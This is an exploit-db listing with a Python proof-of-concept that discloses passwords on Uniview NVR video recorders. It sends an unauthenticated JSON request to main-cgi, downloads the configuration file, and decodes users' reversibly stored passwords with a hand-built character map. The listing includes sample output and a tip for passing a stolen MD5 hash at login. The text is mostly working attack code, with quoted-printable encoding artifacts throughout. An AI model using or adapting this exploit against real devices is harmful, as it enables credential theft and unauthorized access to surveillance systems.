Uniview NVR – Password Disclosure

  • 作者: B1t
    日期: 2017-06-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42150/
  • #Uniview NVR remote passwords disclosure
    #Author: B1t
    
    # The Uniview NVR web application does not enforce authorizations on the main.cgi file when requesting json data.
    # It says that you can do anything without authentication, however you must know the request structure.
    # In addition, the users' passwords are both hashed and also stored in a reversible way
    # The POC below remotely downloads the device's configuration file, extracts the credentials
    # and decodes the reversible password strings using my crafted map
    
    # It is worth mention that when you login, the javascript hashes the password with MD5 and pass the request.
    # If the script does retrieve the hash and not the password, you can intercept the request and replace the generated
    # MD5 with the one disclosed using this script
    
    
    # Tested on the following models:
    # NVR304-16E - Software Version B3118P26C00510
    # NVR301-08-P8 - Software Version B3218P26C00512
    #=09=09=09=09=09=09and version B3220P11
    #
    # Other versions may also be affected
    
    
    #Usage: python nvr-pwd-disc.py http://Host_or_IP:PORT
    
    # Run example:
    
    # root@k4li:~# python nvr-pwd-disc.py http://192.168.1.5
    #
    # Uniview NVR remote passwords disclosure!
    # Author: B1t
    #
    # [+] Getting model name and software version...
    # Model: NVR301-08-P8
    # Software Version: B3218P26C00512
    #
    # [+] Getting configuration file...
    # [+] Number of users found: 4
    #
    # [+] Extracting users' hashes and decoding reversible strings:
    #
    # User =09|=09 Hash =09|=09 Password
    # _________________________________________________
    # admin =09|=093b9c687b1f4b9d87ed0fdd6abbf7e33d =09|=09<TRIMMED>
    # default =09|=09 =09|=09||||||||||||||||||||
    # HAUser =09|=09288b836a37578141fea6527b5e190120 =09|=09123HAUser123[err
    # test =09|=0951b2454c681f3205f63b8372096d990b =09|=09AA123pqrstuvwxyz
    #
    #*Note that the users 'default' and 'HAUser' are default and sometimes in=
    accessible remotely
    
    
    
    
    
    import requests
    import xml.etree.ElementTree
    import sys
    
    
    print "\r\nUniview NVR remote passwords disclosure!"
    print "Author: B1t\r\n"
    
    
    
    def decode_pass(rev_pass):
    pass_dict =3D {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '=
    74': '6', '75': '7', '68': '8', '69': '9',
     '76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89=
    ': '%', '34': '^', '90': '&', '86': '*',
     '84': '(', '85': ')', '81': '-', '35': '_', '65': '=3D', '=
    87': '+', '83': '/', '32': '\\', '0': '|',
     '80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82':=
     '.', '67': '?', '64': '<', '66': '>',
     '2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28'=
    : '`', '61': 'A', '62': 'B', '63': 'C',
     '56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53=
    ': 'I', '54': 'J', '55': 'K', '48': 'L',
     '49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46=
    ': 'R', '47': 'S', '40': 'T', '41': 'U',
     '42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29=
    ': 'a', '30': 'b', '31': 'c', '24': 'd',
     '25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22=
    ': 'j', '23': 'k', '16': 'l', '17': 'm',
     '18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15=
    ': 's', '8': 't', '9': 'u', '10': 'v',
     '11': 'w', '4': 'x', '5': 'y', '6': 'z'}
    rev_pass =3D rev_pass.split(";")
    pass_len =3D len(rev_pass) - rev_pass.count("124")
    password =3D ""
    for char in rev_pass:
    if char !=3D "124": password =3D password + pass_dict[char]
    return pass_len, password
    
    if len(sys.argv) < 2:
    print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The =
    web interface's port"
    print "\r\nExample: " + sys.argv[0] + " http://192.168.1.1:8850"
    sys.exit()
    elif "http://" not in sys.argv[1] and "https://" not in sys.argv[1]:
    =09print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The w=
    eb interface's port"
    =09sys.exit()
    =09
    host =3D sys.argv[1]
    
    print "[+] Getting model name and software version..."
    r =3D requests.get(host + '/cgi-bin/main-cgi?json=3D{"cmd":%20116}')
    if r.status_code !=3D 200:
    print "Failed fetching version, got status code: " + r.status_code
    
    print "Model: " + r.text.split('szDevName":=09"')[1].split('",')[0]
    print "Software Version: " + r.text.split('szSoftwareVersion":=09"')[1].spl=
    it('",')[0]
    
    print "\r\n[+] Getting configuration file..."
    r =3D requests.get(host + "/cgi-bin/main-cgi?json=3D{%22cmd%22:255,%22szUse=
    rName%22:%22%22,%22u32UserLoginHandle%22:8888888888}")
    if r.status_code !=3D 200:
    print "Failed fetching configuration file, response code: " + r.status_=
    code
    sys.exit()
    root =3D xml.etree.ElementTree.fromstring(r.text)
    
    print "[+] Number of users found: " + root.find("UserCfg").get("Num")
    print "\r\n[+] Extracting users' hashes and decoding reversible strings:"
    users =3D root.find("UserCfg").getchildren()
    
    print "\r\nUser \t|\t Hash \t|\t Password"
    print "_________________________________________________"
    for user in users:
    l, p =3D decode_pass(user.get("RvsblePass"))
    print user.get("UserName"), "\t|\t", user.get("UserPass"), "\t|\t", p
    
    
    print "\r\n *Note that the users 'default' and 'HAUser' are default and som=
    etimes inaccessible remotely"